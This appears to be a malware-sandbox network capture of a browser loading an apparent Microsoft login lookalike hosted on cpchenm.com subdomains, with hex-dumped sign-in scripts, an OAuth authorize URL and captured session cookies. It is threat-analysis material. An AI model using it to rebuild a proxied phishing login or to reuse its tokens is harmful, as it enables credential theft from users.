2024-11-12 16:29:52 UTC	11790	IN	Data Raw: 63 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 2e 74 6f 4a 53 4f 4e 26 26 28 63 3d 63 2e 74 6f 4a 53 4f 4e 28 65 29 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 70 26 26 28 63 3d 72 65 70 2e 63 61 6c 6c 28 6e 2c 65 2c 63 29 29 2c 74 79 70 65 6f 66 20 63 29 7b 63 61 73 65 22 73 74 72 69 6e 67 22 3a 72 65 74 75 72 6e 20 71 75 6f 74 65 28 63 29 3b 63 61 73 65 22 6e 75 6d 62 65 72 22 3a 72 65 74 75 72 6e 20 69 73 46 69 6e 69 74 65 28 63 29 3f 53 74 72 69 6e 67 28 63 29 3a 22 6e 75 6c 6c 22 3b 63 61 73 65 22 62 6f 6f 6c 65 61 6e 22 3a 63 61 73 65 22 6e 75 6c 6c 22 3a 72 65 74 75 72 6e 20 53 74 72 69 6e 67 28 63 29 3b 63 61 73 65 22 6f 62 6a 65 63 74 22 3a Data Ascii: c&&"object"==typeof c&&"function"==typeof c.toJSON&&(c=c.toJSON(e)),"function"==typeof rep&&(c=rep.call(n,e,c)),typeof c){case"string":return quote(c);case"number":return isFinite(c)?String(c):"null";case"boolean":case"null":return String(c);case"object":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.22	49220	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:51 UTC	663	OUT	GET /Me.htm?v=3 HTTP/1.1 Host: tvrcehrvetbr.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8 Purpose: prefetch Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://tvrceocprq.cpchenm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:29:51 UTC	1141	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Cache-Control: max-age=315360000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:51 GMT Expires: Fri, 10 Nov 2034 16:29:51 GMT P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Ppserver: PPV: 30 H: PH1PEPF00018BDB V: 0 Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: uaid=dea5cf4a104746aba18d2d818bed60f1; Path=/; Domain=tvrcehrvetbr.cpchenm.com; HttpOnly; Secure; SameSite=None
2024-11-12 16:29:51 UTC	388	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4d 53 50 52 65 71 75 3d 69 64 3d 4e 26 6c 74 3d 31 37 33 31 34 32 38 39 39 31 26 63 6f 3d 31 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 74 76 72 63 65 68 72 76 65 74 62 72 2e 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 Data Ascii: Set-Cookie: MSPRequ=id=N&lt=1731428991&co=1; Path=/; Domain=tvrcehrvetbr.cpchenm.com; HttpOnly; Secure; SameSite=NoneSet-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneVary: Accept-Encoding
2024-11-12 16:29:51 UTC	2008	IN	Data Raw: 64 37 61 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 65 29 74 5b 73 5d 3d 65 5b 73 5d 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 6e 29 7b 69 66 28 73 5b 6e 5d 29 72 65 74 75 72 6e 20 73 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 69 3d 73 5b 6e 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 6e 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 63 61 6c 6c 28 69 2e 65 78 70 6f 72 74 73 2c 69 2c 69 2e 65 78 70 6f 72 74 73 2c 65 29 2c 69 2e 6c 6f 61 64 65 64 3d 21 30 2c 69 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 73 3d 7b 7d 3b 72 65 74 75 72 6e 20 Data Ascii: d7a<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return
2024-11-12 16:29:51 UTC	559	IN	Data Raw: 67 65 41 63 63 65 73 73 3d 32 2c 53 2e 74 69 6c 65 73 53 74 61 74 65 2e 74 72 61 6e 73 69 65 6e 74 53 74 61 74 65 3d 73 2c 53 2e 74 69 6c 65 73 53 74 61 74 65 2e 70 65 72 73 69 73 74 65 6e 74 53 74 61 74 65 3d 61 29 3a 65 2e 73 65 73 73 69 6f 6e 53 74 61 74 65 26 26 28 53 2e 74 69 6c 65 73 53 74 61 74 65 2e 68 61 73 53 74 6f 72 61 67 65 41 63 63 65 73 73 3d 31 2c 65 2e 73 65 73 73 69 6f 6e 53 74 61 74 65 2e 74 72 61 6e 73 69 65 6e 74 53 74 61 74 65 26 26 28 53 2e 74 69 6c 65 73 53 74 61 74 65 2e 74 72 61 6e 73 69 65 6e 74 53 74 61 74 65 3d 65 2e 73 65 73 73 69 6f 6e 53 74 61 74 65 2e 74 72 61 6e 73 69 65 6e 74 53 74 61 74 65 2c 69 28 65 2e 73 65 73 73 69 6f 6e 53 74 61 74 65 2e 74 72 61 6e 73 69 65 6e 74 53 74 61 74 65 2c 53 2e 75 73 65 72 4c 69 73 74 2c Data Ascii: geAccess=2,S.tilesState.transientState=s,S.tilesState.persistentState=a):e.sessionState&&(S.tilesState.hasStorageAccess=1,e.sessionState.transientState&&(S.tilesState.transientState=e.sessionState.transientState,i(e.sessionState.transientState,S.userList,
2024-11-12 16:29:51 UTC	895	IN	Data Raw: 65 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 53 29 2c 74 29 7d 29 29 3a 28 53 2e 74 69 6c 65 73 53 74 61 74 65 2e 68 61 73 53 74 6f 72 61 67 65 41 63 63 65 73 73 3d 32 2c 53 2e 74 69 6c 65 73 53 74 61 74 65 2e 74 72 61 6e 73 69 65 6e 74 53 74 61 74 65 3d 73 2c 53 2e 74 69 6c 65 73 53 74 61 74 65 2e 70 65 72 73 69 73 74 65 6e 74 53 74 61 74 65 3d 61 29 29 7d 63 61 74 63 68 28 70 29 7b 53 2e 65 72 72 6f 72 3d 70 2e 6d 65 73 73 61 67 65 7d 74 26 26 6f 26 26 63 2e 70 61 72 65 6e 74 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 53 29 2c 74 29 7d 76 61 72 20 63 3d 77 69 6e 64 6f 77 2c 53 3d 22 70 72 6f 64 22 2c 6c 3d 22 22 2c 70 3d 22 22 2c 67 3d 7b 4e 6f 6e 65 3a 30 2c 53 69 67 6e 65 64 49 6e 54 6f 52 50 3a 31 2c 53 Data Ascii: e(JSON.stringify(S),t)})):(S.tilesState.hasStorageAccess=2,S.tilesState.transientState=s,S.tilesState.persistentState=a))}catch(p){S.error=p.message}t&&o&&c.parent.postMessage(JSON.stringify(S),t)}var c=window,S="prod",l="",p="",g={None:0,SignedInToRP:1,S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.22	49221	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:52 UTC	714	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" Origin: https://tvrceocprq.cpchenm.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://tvrceocprq.cpchenm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:29:52 UTC	1144	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/x-javascript Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:52 GMT Etag: 0x8DCC6D537C7BF24 Last-Modified: Tue, 27 Aug 2024 20:17:04 GMT
2024-11-12 16:29:52 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 32 39 35 32 5a 2d 31 35 34 38 37 39 39 39 64 38 37 74 77 66 71 32 68 43 31 57 41 57 64 36 71 63 30 30 30 30 30 30 30 36 67 30 30 30 30 30 30 30 30 30 32 73 68 61 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T162952Z-15487999d87twfq2hC1WAWd6qc00000006g0000000002shaX-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:29:52 UTC	1962	IN	Data Raw: 65 30 36 33 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 69 5b 6e 5d 29 72 65 74 75 72 6e 20 69 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 74 3d 69 5b 6e 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 6e 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 74 2e 65 78 70 6f 72 74 73 2c 74 2c 74 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 74 2e 6c 6f 61 64 65 64 3d 21 30 2c 74 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 69 3d 7b 7d 3b 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 69 2c 6f 2e 70 3d 22 22 2c 6f 28 30 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 2c 69 29 7b 69 28 32 29 3b 76 61 72 20 6e 3d 69 28 31 29 2c 74 3d 69 28 35 29 2c 72 3d 69 28 36 29 2c 61 3d 72 Data Ascii: e063!function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),t=i(5),r=i(6),a=r
2024-11-12 16:29:52 UTC	559	IN	Data Raw: 65 20 73 65 72 76 69 63 65 20 79 6f 75 5c 27 72 65 20 73 69 67 6e 69 6e 67 20 69 6e 20 74 6f 2e 27 29 29 3a 28 65 2e 57 46 5f 53 54 52 5f 44 65 66 61 75 6c 74 5f 44 65 73 63 3d 27 59 6f 75 20 77 69 6c 6c 20 62 65 20 73 69 67 6e 65 64 20 69 6e 20 74 6f 20 3c 73 70 61 6e 20 69 64 3d 22 61 70 70 4e 61 6d 65 22 3e 7b 30 7d 3c 2f 73 70 61 6e 3e 20 6f 6e 20 61 20 72 65 6d 6f 74 65 20 64 65 76 69 63 65 20 6f 72 20 73 65 72 76 69 63 65 2e 20 53 65 6c 65 63 74 20 42 61 63 6b 20 69 66 20 79 6f 75 20 61 72 65 6e 5c 27 74 20 74 72 79 69 6e 67 20 74 6f 20 73 69 67 6e 20 69 6e 20 74 6f 20 74 68 69 73 20 61 70 70 6c 69 63 61 74 69 6f 6e 20 6f 6e 20 61 20 72 65 6d 6f 74 65 20 64 65 76 69 63 65 20 6f 72 20 73 65 72 76 69 63 65 2e 27 2c 6f 2e 73 52 65 6d 6f 74 65 43 6c 69 Data Ascii: e service you\'re signing in to.')):(e.WF_STR_Default_Desc='You will be signed in to <span id="appName">{0}</span> on a remote device or service. Select Back if you aren\'t trying to sign in to this application on a remote device or service.',o.sRemoteCli
2024-11-12 16:29:52 UTC	4716	IN	Data Raw: 61 75 6c 74 5f 44 65 73 63 3d 27 59 6f 75 5c 27 72 65 20 73 69 67 6e 69 6e 67 20 69 6e 20 74 6f 20 3c 73 70 61 6e 20 69 64 3d 22 61 70 70 4e 61 6d 65 22 3e 7b 30 7d 3c 2f 73 70 61 6e 3e 20 6f 6e 20 61 6e 6f 74 68 65 72 20 64 65 76 69 63 65 20 6c 6f 63 61 74 65 64 20 69 6e 20 3c 73 70 61 6e 20 69 64 3d 22 6c 6f 63 61 74 69 6f 6e 22 3e 7b 31 7d 3c 2f 73 70 61 6e 3e 2e 20 49 66 20 69 74 5c 27 73 20 6e 6f 74 20 79 6f 75 2c 20 63 6c 6f 73 65 20 74 68 69 73 20 70 61 67 65 2e 27 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 61 2e 43 6f 6d 62 69 6e 65 64 53 69 67 6e 69 6e 53 69 67 6e 75 70 56 32 3a 65 2e 57 46 5f 53 54 52 5f 44 65 66 61 75 6c 74 5f 44 65 73 63 3d 22 57 65 27 6c 6c 20 63 68 65 63 6b 20 74 6f 20 73 65 65 20 69 66 20 79 6f 75 20 61 6c 72 65 61 64 79 20 Data Ascii: ault_Desc='You\'re signing in to <span id="appName">{0}</span> on another device located in <span id="location">{1}</span>. If it\'s not you, close this page.'));break;case a.CombinedSigninSignupV2:e.WF_STR_Default_Desc="We'll check to see if you already
2024-11-12 16:29:52 UTC	5895	IN	Data Raw: 53 68 6f 77 53 69 67 6e 55 70 3f 65 2e 43 54 5f 50 57 44 5f 53 54 52 5f 45 72 72 6f 72 5f 55 73 65 72 6e 61 6d 65 4e 6f 74 45 78 69 73 74 3d 27 54 68 69 73 20 61 63 63 6f 75 6e 74 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 20 69 6e 20 74 68 69 73 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 2e 20 45 6e 74 65 72 20 61 20 64 69 66 66 65 72 65 6e 74 20 61 63 63 6f 75 6e 74 20 6f 72 20 3c 61 20 69 64 3d 22 61 61 64 53 65 6c 66 53 69 67 6e 75 70 22 20 68 72 65 66 3d 22 23 22 3e 63 72 65 61 74 65 20 61 20 6e 65 77 20 6f 6e 65 3c 2f 61 3e 2e 27 3a 65 2e 43 54 5f 50 57 44 5f 53 54 52 5f 45 72 72 6f 72 5f 55 73 65 72 6e 61 6d 65 4e 6f 74 45 78 69 73 74 3d 22 57 65 20 63 6f 75 6c 64 6e 27 74 20 66 69 6e 64 20 61 6e 20 61 63 63 6f 75 6e 74 20 77 69 74 68 20 74 68 61 74 Data Ascii: ShowSignUp?e.CT_PWD_STR_Error_UsernameNotExist='This account does not exist in this organization. Enter a different account or <a id="aadSelfSignup" href="#">create a new one</a>.':e.CT_PWD_STR_Error_UsernameNotExist="We couldn't find an account with that
2024-11-12 16:29:52 UTC	7074	IN	Data Raw: 69 74 6c 65 3d 22 45 6e 74 65 72 20 54 65 6d 70 6f 72 61 72 79 20 41 63 63 65 73 73 20 50 61 73 73 22 2c 65 2e 43 54 5f 50 57 44 5f 53 54 52 5f 41 63 63 65 73 73 50 61 73 73 5f 49 6e 70 75 74 50 6c 61 63 65 68 6f 6c 64 65 72 3d 22 54 65 6d 70 6f 72 61 72 79 20 41 63 63 65 73 73 20 50 61 73 73 22 2c 65 2e 43 54 5f 50 57 44 5f 53 54 52 5f 53 68 6f 77 41 63 63 65 73 73 50 61 73 73 3d 22 53 68 6f 77 20 54 65 6d 70 6f 72 61 72 79 20 41 63 63 65 73 73 20 50 61 73 73 22 2c 65 2e 43 54 5f 50 57 44 5f 53 54 52 5f 4c 6f 67 69 6e 5f 43 72 65 64 50 69 63 6b 65 72 5f 4f 70 74 69 6f 6e 5f 41 63 63 65 73 73 50 61 73 73 3d 22 55 73 65 20 54 65 6d 70 6f 72 61 72 79 20 41 63 63 65 73 73 20 50 61 73 73 22 2c 65 2e 43 54 5f 50 57 44 5f 53 54 52 5f 4c 6f 67 69 6e 5f 53 77 69 Data Ascii: itle="Enter Temporary Access Pass",e.CT_PWD_STR_AccessPass_InputPlaceholder="Temporary Access Pass",e.CT_PWD_STR_ShowAccessPass="Show Temporary Access Pass",e.CT_PWD_STR_Login_CredPicker_Option_AccessPass="Use Temporary Access Pass",e.CT_PWD_STR_Login_Swi
2024-11-12 16:29:53 UTC	8253	IN	Data Raw: 6d 5f 4c 69 6e 6b 3d 22 53 69 67 6e 20 69 6e 20 77 69 74 68 20 61 20 73 65 63 75 72 69 74 79 20 6b 65 79 22 2c 65 2e 43 54 5f 46 49 44 4f 5f 53 54 52 5f 50 61 67 65 5f 54 69 74 6c 65 5f 4e 6f 48 65 6c 6c 6f 3d 22 53 69 67 6e 20 69 6e 20 77 69 74 68 20 61 20 73 65 63 75 72 69 74 79 20 6b 65 79 22 2c 65 2e 43 54 5f 46 49 44 4f 5f 53 54 52 5f 50 61 67 65 5f 54 69 74 6c 65 3d 22 53 69 67 6e 20 69 6e 20 77 69 74 68 20 57 69 6e 64 6f 77 73 20 48 65 6c 6c 6f 20 6f 72 20 61 20 73 65 63 75 72 69 74 79 20 6b 65 79 22 2c 6f 2e 66 49 73 50 61 73 73 6b 65 79 26 26 28 65 2e 43 54 5f 46 49 44 4f 5f 53 54 52 5f 50 61 67 65 5f 54 69 74 6c 65 3d 22 53 69 67 6e 69 6e 67 20 69 6e 20 77 69 74 68 20 61 20 70 61 73 73 6b 65 79 2e 2e 2e 22 2c 65 2e 43 54 5f 46 49 44 4f 5f 53 54 Data Ascii: m_Link="Sign in with a security key",e.CT_FIDO_STR_Page_Title_NoHello="Sign in with a security key",e.CT_FIDO_STR_Page_Title="Sign in with Windows Hello or a security key",o.fIsPasskey&&(e.CT_FIDO_STR_Page_Title="Signing in with a passkey...",e.CT_FIDO_ST
2024-11-12 16:29:53 UTC	9432	IN	Data Raw: 4e 65 78 74 20 74 6f 20 74 72 79 20 61 67 61 69 6e 2e 22 2c 65 2e 43 54 5f 53 54 52 5f 51 72 43 6f 64 65 50 69 6e 5f 53 69 67 6e 69 6e 5f 42 75 74 74 6f 6e 54 65 78 74 3d 22 53 69 67 6e 20 69 6e 20 77 69 74 68 20 61 20 51 52 20 63 6f 64 65 22 2c 65 2e 43 54 5f 53 54 52 5f 51 72 43 6f 64 65 50 69 6e 5f 53 69 67 6e 69 6e 5f 45 6d 70 6c 6f 79 65 72 44 65 73 63 72 69 70 74 69 6f 6e 3d 22 4f 6e 6c 79 20 75 73 65 20 74 68 69 73 20 69 66 20 79 6f 75 72 20 65 6d 70 6c 6f 79 65 72 20 68 61 73 20 67 69 76 65 6e 20 79 6f 75 20 61 20 70 72 69 6e 74 65 64 20 51 52 20 63 6f 64 65 22 2c 65 2e 43 54 5f 53 54 52 5f 51 72 43 6f 64 65 50 69 6e 5f 53 69 67 6e 69 6e 5f 53 63 61 6e 49 6e 73 74 72 75 63 74 69 6f 6e 3d 22 48 6f 6c 64 20 79 6f 75 72 20 51 52 20 63 6f 64 65 20 74 Data Ascii: Next to try again.",e.CT_STR_QrCodePin_Signin_ButtonText="Sign in with a QR code",e.CT_STR_QrCodePin_Signin_EmployerDescription="Only use this if your employer has given you a printed QR code",e.CT_STR_QrCodePin_Signin_ScanInstruction="Hold your QR code t
2024-11-12 16:29:53 UTC	10611	IN	Data Raw: 20 6f 72 20 73 63 68 6f 6f 6c 22 2c 65 2e 43 54 5f 53 54 52 5f 50 61 67 65 5f 53 75 62 54 69 74 6c 65 3d 22 59 6f 75 27 6c 6c 20 75 73 65 20 74 68 69 73 20 69 6e 66 6f 20 74 6f 20 73 69 67 6e 20 69 6e 20 74 6f 20 79 6f 75 72 20 64 65 76 69 63 65 73 2e 22 7d 29 2c 6e 2e 72 65 67 69 73 74 65 72 53 6f 75 72 63 65 28 22 68 74 6d 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 29 7b 73 77 69 74 63 68 28 6f 2e 69 42 61 6e 6e 65 72 45 6e 76 69 72 6f 6e 6d 65 6e 74 29 7b 63 61 73 65 20 72 2e 49 6e 74 65 72 6e 61 6c 3a 65 2e 43 54 5f 53 54 52 5f 45 6e 76 69 72 6f 6e 6d 65 6e 74 42 61 6e 6e 65 72 5f 54 65 78 74 3d 22 49 4e 54 45 52 4e 41 4c 20 50 52 45 56 49 45 57 20 4f 4e 4c 59 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 72 2e 54 65 73 74 53 6c 69 63 65 3a 65 2e 43 54 5f Data Ascii: or school",e.CT_STR_Page_SubTitle="You'll use this info to sign in to your devices."}),n.registerSource("html",function(e,o){switch(o.iBannerEnvironment){case r.Internal:e.CT_STR_EnvironmentBanner_Text="INTERNAL PREVIEW ONLY";break;case r.TestSlice:e.CT_
2024-11-12 16:29:53 UTC	8947	IN	Data Raw: 65 74 72 69 61 62 6c 65 45 72 72 6f 72 3a 22 31 33 31 30 30 33 22 2c 50 75 62 6c 69 63 49 64 65 6e 74 69 66 69 65 72 53 61 73 45 6e 64 43 61 6c 6c 4e 6f 6e 52 65 74 72 69 61 62 6c 65 45 72 72 6f 72 3a 22 31 33 31 30 30 34 22 2c 44 65 76 69 63 65 49 73 44 69 73 61 62 6c 65 64 3a 22 31 33 35 30 31 31 22 2c 46 69 64 6f 42 6c 6f 63 6b 65 64 42 79 50 6f 6c 69 63 79 3a 22 31 33 35 30 31 36 22 2c 50 61 73 73 6b 65 79 42 6c 6f 63 6b 65 64 42 79 50 6f 6c 69 63 79 4f 74 68 65 72 41 75 74 68 41 70 70 50 61 73 73 6b 65 79 41 76 61 69 6c 61 62 6c 65 3a 22 31 33 35 30 31 36 31 22 2c 50 61 73 73 6b 65 79 42 6c 6f 63 6b 65 64 42 79 50 6f 6c 69 63 79 4f 74 68 65 72 50 61 73 73 6b 65 79 41 76 61 69 6c 61 62 6c 65 3a 22 31 33 35 30 31 36 32 22 2c 50 61 73 73 6b 65 79 41 75 Data Ascii: etriableError:"131003",PublicIdentifierSasEndCallNonRetriableError:"131004",DeviceIsDisabled:"135011",FidoBlockedByPolicy:"135016",PasskeyBlockedByPolicyOtherAuthAppPasskeyAvailable:"1350161",PasskeyBlockedByPolicyOtherPasskeyAvailable:"1350162",PasskeyAu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.22	49222	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:53 UTC	2281	OUT	GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489/cfa6fe23a8b2678daff7e885b1ac3092843be13f2b5c8f8da62bca6faf6007db.js HTTP/1.1 Host: tvrceocprq.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AXQAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAB0AA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeIP3C8g7KwuiM7Ev_rshoThcn-64VIGdTNldLsZu_R-bwEXfX6wPbFRI1Km9R1OBdPdAzE0jHZtiEUV0eiaiXfYQkoa4y3BR73Md6HTvvCakgAA; 